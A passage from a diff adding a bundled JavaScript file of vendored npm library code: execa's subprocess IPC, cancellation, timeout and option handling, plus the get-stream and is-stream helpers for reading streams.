return; + } + eventEmitter.setMaxListeners(maxListeners + maxListenersIncrement); + addAbortListener(signal, () => { + eventEmitter.setMaxListeners( + eventEmitter.getMaxListeners() - maxListenersIncrement, + ); + }); +}; + +// node_modules/execa/lib/ipc/forward.js +import { EventEmitter } from "node:events"; + +// node_modules/execa/lib/ipc/incoming.js +import { once as once2 } from "node:events"; +import { scheduler } from "node:timers/promises"; + +// node_modules/execa/lib/ipc/reference.js +var addReference = (channel, reference) => { + if (reference) { + addReferenceCount(channel); + } +}; +var addReferenceCount = (channel) => { + channel.refCounted(); +}; +var removeReference = (channel, reference) => { + if (reference) { + removeReferenceCount(channel); + } +}; +var removeReferenceCount = (channel) => { + channel.unrefCounted(); +}; +var undoAddedReferences = (channel, isSubprocess) => { + if (isSubprocess) { + removeReferenceCount(channel); + removeReferenceCount(channel); + } +}; +var redoAddedReferences = (channel, isSubprocess) => { + if (isSubprocess) { + addReferenceCount(channel); + addReferenceCount(channel); + } +}; + +// node_modules/execa/lib/ipc/incoming.js +var onMessage = async ( + { anyProcess, channel, isSubprocess, ipcEmitter }, + wrappedMessage, +) => { + if (handleStrictResponse(wrappedMessage) || handleAbort(wrappedMessage)) { + return; + } + if (!INCOMING_MESSAGES.has(anyProcess)) { + INCOMING_MESSAGES.set(anyProcess, []); + } + const incomingMessages = INCOMING_MESSAGES.get(anyProcess); + incomingMessages.push(wrappedMessage); + if (incomingMessages.length > 1) { + return; + } + while (incomingMessages.length > 0) { + await waitForOutgoingMessages(anyProcess, ipcEmitter, wrappedMessage); + await scheduler.yield(); + const message = await handleStrictRequest({ + wrappedMessage: incomingMessages[0], + anyProcess, + channel, + isSubprocess, + ipcEmitter, + }); + incomingMessages.shift(); + ipcEmitter.emit("message", message); + ipcEmitter.emit("message:done"); + } +}; +var onDisconnect = async ({ + anyProcess, + channel, + isSubprocess, + ipcEmitter, + boundOnMessage, +}) => { + abortOnDisconnect(); + const incomingMessages = INCOMING_MESSAGES.get(anyProcess); + while (incomingMessages?.length > 0) { + await once2(ipcEmitter, "message:done"); + } + anyProcess.removeListener("message", boundOnMessage); + redoAddedReferences(channel, isSubprocess); + ipcEmitter.connected = false; + ipcEmitter.emit("disconnect"); +}; +var INCOMING_MESSAGES = /* @__PURE__ */ new WeakMap(); + +// node_modules/execa/lib/ipc/forward.js +var getIpcEmitter = (anyProcess, channel, isSubprocess) => { + if (IPC_EMITTERS.has(anyProcess)) { + return IPC_EMITTERS.get(anyProcess); + } + const ipcEmitter = new EventEmitter(); + ipcEmitter.connected = true; + IPC_EMITTERS.set(anyProcess, ipcEmitter); + forwardEvents({ + ipcEmitter, + anyProcess, + channel, + isSubprocess, + }); + return ipcEmitter; +}; +var IPC_EMITTERS = /* @__PURE__ */ new WeakMap(); +var forwardEvents = ({ ipcEmitter, anyProcess, channel, isSubprocess }) => { + const boundOnMessage = onMessage.bind(void 0, { + anyProcess, + channel, + isSubprocess, + ipcEmitter, + }); + anyProcess.on("message", boundOnMessage); + anyProcess.once( + "disconnect", + onDisconnect.bind(void 0, { + anyProcess, + channel, + isSubprocess, + ipcEmitter, + boundOnMessage, + }), + ); + undoAddedReferences(channel, isSubprocess); +}; +var isConnected = (anyProcess) => { + const ipcEmitter = IPC_EMITTERS.get(anyProcess); + return ipcEmitter === void 0 + ? anyProcess.channel !== null + : ipcEmitter.connected; +}; + +// node_modules/execa/lib/ipc/strict.js +var handleSendStrict = ({ + anyProcess, + channel, + isSubprocess, + message, + strict, +}) => { + if (!strict) { + return message; + } + const ipcEmitter = getIpcEmitter(anyProcess, channel, isSubprocess); + const hasListeners = hasMessageListeners(anyProcess, ipcEmitter); + return { + id: count++, + type: REQUEST_TYPE, + message, + hasListeners, + }; +}; +var count = 0n; +var validateStrictDeadlock = (outgoingMessages, wrappedMessage) => { + if (wrappedMessage?.type !== REQUEST_TYPE || wrappedMessage.hasListeners) { + return; + } + for (const { id } of outgoingMessages) { + if (id !== void 0) { + STRICT_RESPONSES[id].resolve({ isDeadlock: true, hasListeners: false }); + } + } +}; +var handleStrictRequest = async ({ + wrappedMessage, + anyProcess, + channel, + isSubprocess, + ipcEmitter, +}) => { + if (wrappedMessage?.type !== REQUEST_TYPE || !anyProcess.connected) { + return wrappedMessage; + } + const { id, message } = wrappedMessage; + const response = { + id, + type: RESPONSE_TYPE, + message: hasMessageListeners(anyProcess, ipcEmitter), + }; + try { + await sendMessage( + { + anyProcess, + channel, + isSubprocess, + ipc: true, + }, + response, + ); + } catch (error) { + ipcEmitter.emit("strict:error", error); + } + return message; +}; +var handleStrictResponse = (wrappedMessage) => { + if (wrappedMessage?.type !== RESPONSE_TYPE) { + return false; + } + const { id, message: hasListeners } = wrappedMessage; + STRICT_RESPONSES[id]?.resolve({ isDeadlock: false, hasListeners }); + return true; +}; +var waitForStrictResponse = async ( + wrappedMessage, + anyProcess, + isSubprocess, +) => { + if (wrappedMessage?.type !== REQUEST_TYPE) { + return; + } + const deferred = createDeferred(); + STRICT_RESPONSES[wrappedMessage.id] = deferred; + const controller = new AbortController(); + try { + const { isDeadlock, hasListeners } = await Promise.race([ + deferred, + throwOnDisconnect(anyProcess, isSubprocess, controller), + ]); + if (isDeadlock) { + throwOnStrictDeadlockError(isSubprocess); + } + if (!hasListeners) { + throwOnMissingStrict(isSubprocess); + } + } finally { + controller.abort(); + delete STRICT_RESPONSES[wrappedMessage.id]; + } +}; +var STRICT_RESPONSES = {}; +var throwOnDisconnect = async (anyProcess, isSubprocess, { signal }) => { + incrementMaxListeners(anyProcess, 1, signal); + await once3(anyProcess, "disconnect", { signal }); + throwOnStrictDisconnect(isSubprocess); +}; +var REQUEST_TYPE = "execa:ipc:request"; +var RESPONSE_TYPE = "execa:ipc:response"; + +// node_modules/execa/lib/ipc/outgoing.js +var startSendMessage = (anyProcess, wrappedMessage, strict) => { + if (!OUTGOING_MESSAGES.has(anyProcess)) { + OUTGOING_MESSAGES.set(anyProcess, /* @__PURE__ */ new Set()); + } + const outgoingMessages = OUTGOING_MESSAGES.get(anyProcess); + const onMessageSent = createDeferred(); + const id = strict ? wrappedMessage.id : void 0; + const outgoingMessage = { onMessageSent, id }; + outgoingMessages.add(outgoingMessage); + return { outgoingMessages, outgoingMessage }; +}; +var endSendMessage = ({ outgoingMessages, outgoingMessage }) => { + outgoingMessages.delete(outgoingMessage); + outgoingMessage.onMessageSent.resolve(); +}; +var waitForOutgoingMessages = async ( + anyProcess, + ipcEmitter, + wrappedMessage, +) => { + while ( + !hasMessageListeners(anyProcess, ipcEmitter) && + OUTGOING_MESSAGES.get(anyProcess)?.size > 0 + ) { + const outgoingMessages = [...OUTGOING_MESSAGES.get(anyProcess)]; + validateStrictDeadlock(outgoingMessages, wrappedMessage); + await Promise.all( + outgoingMessages.map(({ onMessageSent }) => onMessageSent), + ); + } +}; +var OUTGOING_MESSAGES = /* @__PURE__ */ new WeakMap(); +var hasMessageListeners = (anyProcess, ipcEmitter) => + ipcEmitter.listenerCount("message") > getMinListenerCount(anyProcess); +var getMinListenerCount = (anyProcess) => + SUBPROCESS_OPTIONS.has(anyProcess) && + !getFdSpecificValue(SUBPROCESS_OPTIONS.get(anyProcess).options.buffer, "ipc") + ? 1 + : 0; + +// node_modules/execa/lib/ipc/send.js +var sendMessage = ( + { anyProcess, channel, isSubprocess, ipc }, + message, + { strict = false } = {}, +) => { + const methodName = "sendMessage"; + validateIpcMethod({ + methodName, + isSubprocess, + ipc, + isConnected: anyProcess.connected, + }); + return sendMessageAsync({ + anyProcess, + channel, + methodName, + isSubprocess, + message, + strict, + }); +}; +var sendMessageAsync = async ({ + anyProcess, + channel, + methodName, + isSubprocess, + message, + strict, +}) => { + const wrappedMessage = handleSendStrict({ + anyProcess, + channel, + isSubprocess, + message, + strict, + }); + const outgoingMessagesState = startSendMessage( + anyProcess, + wrappedMessage, + strict, + ); + try { + await sendOneMessage({ + anyProcess, + methodName, + isSubprocess, + wrappedMessage, + message, + }); + } catch (error) { + disconnect(anyProcess); + throw error; + } finally { + endSendMessage(outgoingMessagesState); + } +}; +var sendOneMessage = async ({ + anyProcess, + methodName, + isSubprocess, + wrappedMessage, + message, +}) => { + const sendMethod = getSendMethod(anyProcess); + try { + await Promise.all([ + waitForStrictResponse(wrappedMessage, anyProcess, isSubprocess), + sendMethod(wrappedMessage), + ]); + } catch (error) { + handleEpipeError({ error, methodName, isSubprocess }); + handleSerializationError({ + error, + methodName, + isSubprocess, + message, + }); + throw error; + } +}; +var getSendMethod = (anyProcess) => { + if (PROCESS_SEND_METHODS.has(anyProcess)) { + return PROCESS_SEND_METHODS.get(anyProcess); + } + const sendMethod = promisify2(anyProcess.send.bind(anyProcess)); + PROCESS_SEND_METHODS.set(anyProcess, sendMethod); + return sendMethod; +}; +var PROCESS_SEND_METHODS = /* @__PURE__ */ new WeakMap(); + +// node_modules/execa/lib/ipc/graceful.js +var sendAbort = (subprocess, message) => { + const methodName = "cancelSignal"; + validateConnection(methodName, false, subprocess.connected); + return sendOneMessage({ + anyProcess: subprocess, + methodName, + isSubprocess: false, + wrappedMessage: { type: GRACEFUL_CANCEL_TYPE, message }, + message, + }); +}; +var getCancelSignal = async ({ anyProcess, channel, isSubprocess, ipc }) => { + await startIpc({ + anyProcess, + channel, + isSubprocess, + ipc, + }); + return cancelController.signal; +}; +var startIpc = async ({ anyProcess, channel, isSubprocess, ipc }) => { + if (cancelListening) { + return; + } + cancelListening = true; + if (!ipc) { + throwOnMissingParent(); + return; + } + if (channel === null) { + abortOnDisconnect(); + return; + } + getIpcEmitter(anyProcess, channel, isSubprocess); + await scheduler2.yield(); +}; +var cancelListening = false; +var handleAbort = (wrappedMessage) => { + if (wrappedMessage?.type !== GRACEFUL_CANCEL_TYPE) { + return false; + } + cancelController.abort(wrappedMessage.message); + return true; +}; +var GRACEFUL_CANCEL_TYPE = "execa:ipc:cancel"; +var abortOnDisconnect = () => { + cancelController.abort(getAbortDisconnectError()); +}; +var cancelController = new AbortController(); + +// node_modules/execa/lib/terminate/graceful.js +var validateGracefulCancel = ({ + gracefulCancel, + cancelSignal, + ipc, + serialization, +}) => { + if (!gracefulCancel) { + return; + } + if (cancelSignal === void 0) { + throw new Error( + "The `cancelSignal` option must be defined when setting the `gracefulCancel` option.", + ); + } + if (!ipc) { + throw new Error( + "The `ipc` option cannot be false when setting the `gracefulCancel` option.", + ); + } + if (serialization === "json") { + throw new Error( + "The `serialization` option cannot be 'json' when setting the `gracefulCancel` option.", + ); + } +}; +var throwOnGracefulCancel = ({ + subprocess, + cancelSignal, + gracefulCancel, + forceKillAfterDelay, + context, + controller, +}) => + gracefulCancel + ? [ + sendOnAbort({ + subprocess, + cancelSignal, + forceKillAfterDelay, + context, + controller, + }), + ] + : []; +var sendOnAbort = async ({ + subprocess, + cancelSignal, + forceKillAfterDelay, + context, + controller: { signal }, +}) => { + await onAbortedSignal(cancelSignal, signal); + const reason = getReason(cancelSignal); + await sendAbort(subprocess, reason); + killOnTimeout({ + kill: subprocess.kill, + forceKillAfterDelay, + context, + controllerSignal: signal, + }); + context.terminationReason ??= "gracefulCancel"; + throw cancelSignal.reason; +}; +var getReason = ({ reason }) => { + if (!(reason instanceof DOMException)) { + return reason; + } + const error = new Error(reason.message); + Object.defineProperty(error, "stack", { + value: reason.stack, + enumerable: false, + configurable: true, + writable: true, + }); + return error; +}; + +// node_modules/execa/lib/terminate/timeout.js +import { setTimeout as setTimeout3 } from "node:timers/promises"; +var validateTimeout = ({ timeout }) => { + if (timeout !== void 0 && (!Number.isFinite(timeout) || timeout < 0)) { + throw new TypeError( + `Expected the \`timeout\` option to be a non-negative integer, got \`${timeout}\` (${typeof timeout})`, + ); + } +}; +var throwOnTimeout = (subprocess, timeout, context, controller) => + timeout === 0 || timeout === void 0 + ? [] + : [killAfterTimeout(subprocess, timeout, context, controller)]; +var killAfterTimeout = async (subprocess, timeout, context, { signal }) => { + await setTimeout3(timeout, void 0, { signal }); + context.terminationReason ??= "timeout"; + subprocess.kill(); + throw new DiscardedError(); +}; + +// node_modules/execa/lib/methods/node.js +import { execPath, execArgv } from "node:process"; +import path6 from "node:path"; +var mapNode = ({ options }) => { + if (options.node === false) { + throw new TypeError( + 'The "node" option cannot be false with `execaNode()`.', + ); + } + return { options: { ...options, node: true } }; +}; +var handleNodeOption = ( + file, + commandArguments, + { + node: shouldHandleNode = false, + nodePath = execPath, + nodeOptions = execArgv.filter( + (nodeOption) => !nodeOption.startsWith("--inspect"), + ), + cwd, + execPath: formerNodePath, + ...options + }, +) => { + if (formerNodePath !== void 0) { + throw new TypeError( + 'The "execPath" option has been removed. Please use the "nodePath" option instead.', + ); + } + const normalizedNodePath = safeNormalizeFileUrl( + nodePath, + 'The "nodePath" option', + ); + const resolvedNodePath = path6.resolve(cwd, normalizedNodePath); + const newOptions = { + ...options, + nodePath: resolvedNodePath, + node: shouldHandleNode, + cwd, + }; + if (!shouldHandleNode) { + return [file, commandArguments, newOptions]; + } + if (path6.basename(file, ".exe") === "node") { + throw new TypeError( + 'When the "node" option is true, the first argument does not need to be "node".', + ); + } + return [ + resolvedNodePath, + [...nodeOptions, file, ...commandArguments], + { ipc: true, ...newOptions, shell: false }, + ]; +}; + +// node_modules/execa/lib/ipc/ipc-input.js +import { serialize } from "node:v8"; +var validateIpcInputOption = ({ ipcInput, ipc, serialization }) => { + if (ipcInput === void 0) { + return; + } + if (!ipc) { + throw new Error( + "The `ipcInput` option cannot be set unless the `ipc` option is `true`.", + ); + } + validateIpcInput[serialization](ipcInput); +}; +var validateAdvancedInput = (ipcInput) => { + try { + serialize(ipcInput); + } catch (error) { + throw new Error( + "The `ipcInput` option is not serializable with a structured clone.", + { cause: error }, + ); + } +}; +var validateJsonInput = (ipcInput) => { + try { + JSON.stringify(ipcInput); + } catch (error) { + throw new Error("The `ipcInput` option is not serializable with JSON.", { + cause: error, + }); + } +}; +var validateIpcInput = { + advanced: validateAdvancedInput, + json: validateJsonInput, +}; +var sendIpcInput = async (subprocess, ipcInput) => { + if (ipcInput === void 0) { + return; + } + await subprocess.sendMessage(ipcInput); +}; + +// node_modules/execa/lib/arguments/encoding-option.js +var validateEncoding = ({ encoding }) => { + if (ENCODINGS.has(encoding)) { + return; + } + const correctEncoding = getCorrectEncoding(encoding); + if (correctEncoding !== void 0) { + throw new TypeError(`Invalid option \`encoding: ${serializeEncoding(encoding)}\`. +Please rename it to ${serializeEncoding(correctEncoding)}.`); + } + const correctEncodings = [...ENCODINGS] + .map((correctEncoding2) => serializeEncoding(correctEncoding2)) + .join(", "); + throw new TypeError(`Invalid option \`encoding: ${serializeEncoding(encoding)}\`. +Please rename it to one of: ${correctEncodings}.`); +}; +var TEXT_ENCODINGS = /* @__PURE__ */ new Set(["utf8", "utf16le"]); +var BINARY_ENCODINGS = /* @__PURE__ */ new Set([ + "buffer", + "hex", + "base64", + "base64url", + "latin1", + "ascii", +]); +var ENCODINGS = /* @__PURE__ */ new Set([ + ...TEXT_ENCODINGS, + ...BINARY_ENCODINGS, +]); +var getCorrectEncoding = (encoding) => { + if (encoding === null) { + return "buffer"; + } + if (typeof encoding !== "string") { + return; + } + const lowerEncoding = encoding.toLowerCase(); + if (lowerEncoding in ENCODING_ALIASES) { + return ENCODING_ALIASES[lowerEncoding]; + } + if (ENCODINGS.has(lowerEncoding)) { + return lowerEncoding; + } +}; +var ENCODING_ALIASES = { + // eslint-disable-next-line unicorn/text-encoding-identifier-case + "utf-8": "utf8", + "utf-16le": "utf16le", + "ucs-2": "utf16le", + ucs2: "utf16le", + binary: "latin1", +}; +var serializeEncoding = (encoding) => + typeof encoding === "string" ? `"${encoding}"` : String(encoding); + +// node_modules/execa/lib/arguments/cwd.js +import { statSync } from "node:fs"; +import path7 from "node:path"; +import process5 from "node:process"; +var normalizeCwd = (cwd = getDefaultCwd()) => { + const cwdString = safeNormalizeFileUrl(cwd, 'The "cwd" option'); + return path7.resolve(cwdString); +}; +var getDefaultCwd = () => { + try { + return process5.cwd(); + } catch (error) { + error.message = `The current directory does not exist. +${error.message}`; + throw error; + } +}; +var fixCwdError = (originalMessage, cwd) => { + if (cwd === getDefaultCwd()) { + return originalMessage; + } + let cwdStat; + try { + cwdStat = statSync(cwd); + } catch (error) { + return `The "cwd" option is invalid: ${cwd}. +${error.message} +${originalMessage}`; + } + if (!cwdStat.isDirectory()) { + return `The "cwd" option is not a directory: ${cwd}. +${originalMessage}`; + } + return originalMessage; +}; + +// node_modules/execa/lib/arguments/options.js +var normalizeOptions = (filePath, rawArguments, rawOptions) => { + rawOptions.cwd = normalizeCwd(rawOptions.cwd); + const [processedFile, processedArguments, processedOptions] = + handleNodeOption(filePath, rawArguments, rawOptions); + const { + command: file, + args: commandArguments, + options: initialOptions, + } = import_cross_spawn.default._parse( + processedFile, + processedArguments, + processedOptions, + ); + const fdOptions = normalizeFdSpecificOptions(initialOptions); + const options = addDefaultOptions(fdOptions); + validateTimeout(options); + validateEncoding(options); + validateIpcInputOption(options); + validateCancelSignal(options); + validateGracefulCancel(options); + options.shell = normalizeFileUrl(options.shell); + options.env = getEnv(options); + options.killSignal = normalizeKillSignal(options.killSignal); + options.forceKillAfterDelay = normalizeForceKillAfterDelay( + options.forceKillAfterDelay, + ); + options.lines = options.lines.map( + (lines, fdNumber) => + lines && + !BINARY_ENCODINGS.has(options.encoding) && + options.buffer[fdNumber], + ); + if (process6.platform === "win32" && path8.basename(file, ".exe") === "cmd") { + commandArguments.unshift("/q"); + } + return { file, commandArguments, options }; +}; +var addDefaultOptions = ({ + extendEnv = true, + preferLocal = false, + cwd, + localDir: localDirectory = cwd, + encoding = "utf8", + reject = true, + cleanup = true, + all = false, + windowsHide = true, + killSignal = "SIGTERM", + forceKillAfterDelay = true, + gracefulCancel = false, + ipcInput, + ipc = ipcInput !== void 0 || gracefulCancel, + serialization = "advanced", + ...options +}) => ({ + ...options, + extendEnv, + preferLocal, + cwd, + localDirectory, + encoding, + reject, + cleanup, + all, + windowsHide, + killSignal, + forceKillAfterDelay, + gracefulCancel, + ipcInput, + ipc, + serialization, +}); +var getEnv = ({ + env: envOption, + extendEnv, + preferLocal, + node, + localDirectory, + nodePath, +}) => { + const env = extendEnv ? { ...process6.env, ...envOption } : envOption; + if (preferLocal || node) { + return npmRunPathEnv({ + env, + cwd: localDirectory, + execPath: nodePath, + preferLocal, + addExecPath: node, + }); + } + return env; +}; + +// node_modules/execa/lib/arguments/shell.js +var concatenateShell = (file, commandArguments, options) => + options.shell && commandArguments.length > 0 + ? [[file, ...commandArguments].join(" "), [], options] + : [file, commandArguments, options]; + +// node_modules/execa/lib/return/message.js +import { inspect as inspect2 } from "node:util"; + +// node_modules/strip-final-newline/index.js +function stripFinalNewline(input2) { + if (typeof input2 === "string") { + return stripFinalNewlineString(input2); + } + if (!(ArrayBuffer.isView(input2) && input2.BYTES_PER_ELEMENT === 1)) { + throw new Error("Input must be a string or a Uint8Array"); + } + return stripFinalNewlineBinary(input2); +} +var stripFinalNewlineString = (input2) => + input2.at(-1) === LF + ? input2.slice(0, input2.at(-2) === CR ? -2 : -1) + : input2; +var stripFinalNewlineBinary = (input2) => + input2.at(-1) === LF_BINARY + ? input2.subarray(0, input2.at(-2) === CR_BINARY ? -2 : -1) + : input2; +var LF = "\n"; +var LF_BINARY = LF.codePointAt(0); +var CR = "\r"; +var CR_BINARY = CR.codePointAt(0); + +// node_modules/get-stream/source/index.js +import { on } from "node:events"; +import { finished } from "node:stream/promises"; + +// node_modules/is-stream/index.js +function isStream(stream, { checkOpen = true } = {}) { + return ( + stream !== null && + typeof stream === "object" && + (stream.writable || + stream.readable || + !checkOpen || + (stream.writable === void 0 && stream.readable === void 0)) && + typeof stream.pipe === "function" + ); +} +function isWritableStream(stream, { checkOpen = true } = {}) { + return ( + isStream(stream, { checkOpen }) && + (stream.writable || !checkOpen) && + typeof stream.write === "function" && + typeof stream.end === "function" && + typeof stream.writable === "boolean" && + typeof stream.writableObjectMode === "boolean" && + typeof stream.destroy === "function" && + typeof stream.destroyed === "boolean" + ); +} +function isReadableStream(stream, { checkOpen = true } = {}) { + return ( + isStream(stream, { checkOpen }) && + (stream.readable || !checkOpen) && + typeof stream.read === "function" && + typeof stream.readable === "boolean" && + typeof stream.readableObjectMode === "boolean" && + typeof stream.destroy === "function" && + typeof stream.destroyed === "boolean" + ); +} +function isDuplexStream(stream, options) { + return isWritableStream(stream, options) && isReadableStream(stream, options); +} + +// node_modules/@sec-ant/readable-stream/dist/ponyfill/asyncIterator.js +var a = Object.getPrototypeOf( + Object.getPrototypeOf( + /* istanbul ignore next */ + async function* () {}, + ).prototype, +); +var c = class { + #t; + #n; + #r = false; + #e = void 0; + constructor(e, t) { + ((this.#t = e), (this.#n = t)); + } + next() { + const e = () => this.#s(); + return ((this.#e = this.#e ? this.#e.then(e, e) : e()), this.#e); + } + return(e) { + const t = () => this.#i(e); + return this.#e ? this.#e.then(t, t) : t(); + } + async #s() { + if (this.#r) + return { + done: true, + value: void 0, + }; + let e; + try { + e = await this.#t.read(); + } catch (t) { + throw ((this.#e = void 0), (this.#r = true), this.#t.releaseLock(), t); + } + return ( + e.done && ((this.#e = void 0), (this.#r = true), this.#t.releaseLock()), + e + ); + } + async #i(e) { + if (this.#r) + return { + done: true, + value: e, + }; + if (((this.#r = true), !this.#n)) { + const t = this.#t.cancel(e); + return ( + this.#t.releaseLock(), + await t, + { + done: true, + value: e, + } + ); + } + return ( + this.#t.releaseLock(), + { + done: true, + value: e, + } + ); + } +}; +var n = Symbol(); +function i() { + return this[n].next(); +} +Object.defineProperty(i, "name", { value: "next" }); +function o(r) { + return this[n].return(r); +} +Object.defineProperty(o, "name", { value: "return" }); +var u = Object.create(a, { + next: { + enumerable: true, + configurable: true, + writable: true, + value: i, + }, + return: { + enumerable: true, + configurable: true, + writable: true, + value: o, + }, +}); +function h({ preventCancel: r = false } = {}) { + const e = this.getReader(), + t = new c(e, r), + s = Object.create(u); + return ((s[n] = t), s); +} + +// node_modules/get-stream/source/stream.js +var getAsyncIterable = (stream) => { + if ( + isReadableStream(stream, { checkOpen: false }) && + nodeImports.on !== void 0 + ) { + return getStreamIterable(stream); + } + if (typeof stream?.[Symbol.asyncIterator] === "function") { + return stream; + } + if (toString.call(stream) === "[object ReadableStream]") { + return h.call(stream); + } + throw new TypeError( + "The first argument must be a Readable, a ReadableStream, or an async iterable.", + ); +}; +var { toString } = Object.prototype; +var getStreamIterable = async function* (stream) { + const controller = new AbortController(); + const state = {}; + handleStreamEnd(stream, controller, state); + try { + for await (const [chunk] of nodeImports.on(stream, "data", { + signal: controller.signal, + })) { + yield chunk; + } + } catch (error) { + if (state.error !== void 0) { + throw state.error; + } else if (!controller.signal.aborted) { + throw error; + } + } finally { + stream.destroy(); + } +}; +var handleStreamEnd = async (stream, controller, state) => { + try { + await nodeImports.finished(stream, { + cleanup: true, + readable: true, + writable: false, + error: false, + }); + } catch (error) { + state.error = error; + } finally { + controller.abort(); + } +}; +var nodeImports = {}; + +// node_modules/get-stream/source/contents.js +var getStreamContents = async ( + stream, + { + init, + convertChunk, + getSize, + truncateChunk, + addChunk, + getFinalChunk, + finalize, + }, + { maxBuffer = Number.POSITIVE_INFINITY } = {}, +) => { + const asyncIterable = getAsyncIterable(stream); + const state = init(); + state.length = 0; + try { + for await (const chunk of asyncIterable) { + const chunkType = getChunkType(chunk); + const convertedChunk = convertChunk[chunkType](chunk, state); + appendChunk({ + convertedChunk, + state, + getSize, + truncateChunk, + addChunk, + maxBuffer, + }); + } + appendFinalChunk({ + state, + convertChunk, + getSize, + truncateChunk, + addChunk, + getFinalChunk, + maxBuffer, + }); + return finalize(state); + } catch (error) { + const normalizedError = + typeof error === "object" && error !== null ? error : new Error(error); + normalizedError.bufferedData = finalize(state); + throw normalizedError; + } +}; +var appendFinalChunk = ({ + state, + getSize, + truncateChunk, + addChunk, + getFinalChunk, + maxBuffer, +}) => { + const convertedChunk = getFinalChunk(state); + if (convertedChunk !== void 0) { + appendChunk({ + convertedChunk, + state, + getSize, + truncateChunk, + addChunk, + maxBuffer, + }); + } +}; +var appendChunk = ({ + convertedChunk, + state, + getSize, + truncateChunk, + addChunk, + maxBuffer, +}) => { + const chunkSize = getSize(convertedChunk); + const newLength = state.length + chunkSize; + if (newLength <= maxBuffer) { + addNewChunk(convertedChunk, state, addChunk, newLength); + return; + } + const truncatedChunk = truncateChunk( + convertedChunk, + maxBuffer - state.length, + ); + if (truncatedChunk !== void 0) { + addNewChunk(truncatedChunk, state, addChunk, maxBuffer); + } + throw new MaxBufferError(); +}; +var addNewChunk = (convertedChunk, state, addChunk, newLength) => { + state.contents = addChunk(convertedChunk, state, newLength); + state.length = newLength; +}; +var getChunkType = (chunk) => { + const typeOfChunk = typeof chunk; + if (typeOfChunk === "string") { + return "string"; + } + if (typeOfChunk !== "object" || chunk === null) { + return "others"; + } + if (globalThis.Buffer?.isBuffer(chunk)) { + return "buffer"; + } + const prototypeName = objectToString2.call(chunk); + if (prototypeName === "[object ArrayBuffer]") { + return "arrayBuffer"; + } + if (prototypeName === "[object DataView]") { + return "dataView"; + } + if ( + Number.isInteger(chunk.byteLength) && + Number.isInteger(chunk.byteOffset) && + objectToString2.call(chunk.buffer) === "[object ArrayBuffer]" + ) { + return "typedArray"; + } + return "others"; +}; +var { toString: objectToString2 } = Object.prototype; +var MaxBufferError = class extends Error { + name = "MaxBufferError"; + constructor() { + super("maxBuffer exceeded"); + } +}; + +// node_modules/get-stream/source/utils.js +var identity2 = (value) => value; +var noop = () => void 0; +var getContentsProperty = ({ contents }) => contents; +var throwObjectStream = (chunk) => { + throw new Error(`Streams in object mode are not supported: ${String(chunk)}`); +}; +var getLengthProperty = (convertedChunk) => convertedChunk.length; + +// node_modules/get-stream/source/array.js +async function getStreamAsArray(stream, options) { + return getStreamContents(stream, arrayMethods, options); +} +var initArray = () => ({ contents: [] }); +var increment = () => 1; +var addArrayChunk = (convertedChunk, { contents }) => { + contents.push(convertedChunk); + return contents; +}; +var arrayMethods = { + init: initArray, + convertChunk: { + string: identity2, + buffer: identity2, + arrayBuffer: identity2, + dataView: identity2, + typedArray: identity2, + others: identity2, + }, + getSize: increment, + truncateChunk: noop, + addChunk: addArrayChunk, + getFinalChunk: noop, + finalize: getContentsProperty, +}; + +// node_modules/get-stream/source/array-buffer.js +async function getStreamAsArrayBuffer(stream, options) { + return getStreamContents(stream, arrayBufferMethods, options); +} +var initArrayBuffer = () => ({ contents: new ArrayBuffer(0) }); +var useTextEncoder = (chunk) => textEncoder2.encode(chunk); +var textEncoder2 = new TextEncoder(); +var useUint8Array = (chunk) => new Uint8Array(chunk); +var useUint8ArrayWithOffset = (chunk) => + new Uint8Array(chunk.buffer, chunk.byteOffset, chunk.byteLength); +var truncateArrayBufferChunk = (convertedChunk, chunkSize) => + convertedChunk.slice(0, chunkSize); +var addArrayBufferChunk = ( + convertedChunk, + { contents, length: previousLength }, + length, +) => { + const newContents = hasArrayBufferResize() + ? resizeArrayBuffer(contents, length) + : resizeArrayBufferSlow(contents, length); + new Uint8Array(newContents).set(convertedChunk, previousLength); + return newContents; +}; +var resizeArrayBufferSlow = (contents, length) => { + if (length <= contents.byteLength) { + return contents; + } + const arrayBuffer = new ArrayBuffer(getNewContentsLength(length)); + new Uint8Array(arrayBuffer).set(new Uint8Array(contents), 0); + return arrayBuffer; +}; +var resizeArrayBuffer = (contents, length) => { + if (length <= contents.maxByteLength) { + contents.resize(length); + return contents; + } + const arrayBuffer = new ArrayBuffer(length, { + maxByteLength: getNewContentsLength(length), + }); + new Uint8Array(arrayBuffer).set(new Uint8Array(contents), 0); + return arrayBuffer; +}; +var getNewContentsLength = (length) => + SCALE_FACTOR ** Math.ceil(Math.log(length) / Math.log(SCALE_FACTOR)); +var SCALE_FACTOR = 2; +var finalizeArrayBuffer = ({ contents, length }) => + hasArrayBufferResize() ? contents : contents.slice(0, length); +var hasArrayBufferResize = () => "resize" in ArrayBuffer.prototype; +var arrayBufferMethods = { + init: initArrayBuffer, + convertChunk: { + string: useTextEncoder, + buffer: useUint8Array, + arrayBuffer: useUint8Array, + dataView: useUint8ArrayWithOffset, + typedArray: useUint8ArrayWithOffset, + others: throwObjectStream, + }, + getSize: getLengthProperty, + truncateChunk: truncateArrayBufferChunk, + addChunk: addArrayBufferChunk, + getFinalChunk: noop, + finalize: finalizeArrayBuffer, +}; + +// node_modules/get-stream/source/string.js +async function getStreamAsString(stream, options) { + return getStreamContents(stream, stringMethods, options); +} +var initString = () => ({ contents: "", textDecoder: new TextDecoder() }); +var useTextDecoder = (chunk, { textDecoder: textDecoder2 }) => + textDecoder2.decode(chunk, { stream: true }); +var addStringChunk = (convertedChunk, { contents }) => + contents + convertedChunk; +var truncateStringChunk = (convertedChunk, chunkSize) => + convertedChunk.slice(0, chunkSize); +var getFinalStringChunk = ({ textDecoder: textDecoder2 }) => { + const finalChunk = textDecoder2.decode(); + return finalChunk === "" ? void 0 : finalChunk; +}; +var stringMethods = { + init: initString, + convertChunk: { + string: identity2, + buffer: useTextDecoder, + arrayBuffer: useTextDecoder, + dataView: useTextDecoder, + typedArray: useTextDecoder, + others: throwObjectStream, + }, + getSize: getLengthProperty, + truncateChunk: truncateStringChunk, + addChunk: addStringChunk, + getFinalChunk: getFinalStringChunk, + finalize: getContentsProperty, +}; + +// node_modules/get-stream/source/index.js +Object.assign(nodeImports, { on, finished }); + +// node_modules/execa/lib/io/max-buffer.js +var handleMaxBuffer = ({ + error, + stream, + readableObjectMode, + lines, + encoding, + fdNumber, +}) => { + if (!(error instanceof MaxBufferError)) { + throw error; + } + if (fdNumber === "all") { + return error; + } + const unit = getMaxBufferUnit(readableObjectMode, lines, encoding); + error.maxBufferInfo = 